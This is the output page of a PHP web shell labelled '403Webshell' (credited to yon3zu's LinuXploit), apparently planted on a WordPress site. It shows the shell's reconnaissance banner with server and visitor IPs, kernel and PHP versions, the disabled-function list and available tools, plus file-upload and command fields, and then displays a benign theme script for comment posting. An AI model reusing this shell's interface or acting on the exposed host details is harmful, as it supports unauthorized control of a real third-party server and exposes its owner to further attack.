403Webshell
Server IP : 112.84.131.71  /  Your IP : 43.159.78.114
Web Server : nginx/1.28.0
System : Linux 1763701629066 6.8.0-53-generic #55-Ubuntu SMP PREEMPT_DYNAMIC Fri Jan 17 15:37:52 UTC 2025 x86_64
User : www ( 1001)
PHP Version : 8.2.28
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /www/wwwroot/www.lengcat.cn/wp-content/themes/onenav/assets/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/wwwroot/www.lengcat.cn/wp-content/themes/onenav/assets/js/comments-ajax.js
/*
 * @Author: iowen
 * @Author URI: https://www.iowen.cn/
 * @Date: 2021-06-03 08:55:59
 * @LastEditors: iowen
 * @LastEditTime: 2024-09-09 00:02:06
 * @FilePath: /onenav/assets/js/comments-ajax.js
 * @Description: 
 */

var _list = 'comment-list'; 
var cancel = $('#cancel-comment-reply-link');

//提交评论
$(document).on('click', "#commentform #submit", function () {
	var _this = $(this);
	var _form = _this.closest('form'); 
	captcha_ajax(_this, '', function (n) {
		var data = n.html;
		if (n.status && data) {
			var parent = $('#comment_parent').val();
                $text = $(data);
			if (parent != '0') {
                $children = $('<ul class="children"></ul>');
                $('#respond').before($children);
                $children.html($text);
			} else if (!$('.' + _list ).length) {
                $children = $('<ul class="' + _list + '"></ul>');
				if (IO.formpostion == 'bottom') {
					$('#respond').before($children);
				} else {
					$('#respond').after($children);
				}
                $children.html($text);
			} else {
				if (IO.order == 'asc') {
					$('.' + _list ).append($text); 
				} else {
					$('.' + _list ).prepend($text); 
				}
            }
            $text.children(".new-comment").animate({opacity : 0},2000);
			showAlert(JSON.parse('{"status":1,"msg":"提交成功!"}'));
			$('#comment').val(''); 
			cancel[0].click();
			_form.find('[name="image_captcha"]').val('');
			_form.find('.image-captcha').click();
		}
	});
	return false;
});


Youez - 2016 - github.com/yon3zu
LinuXploit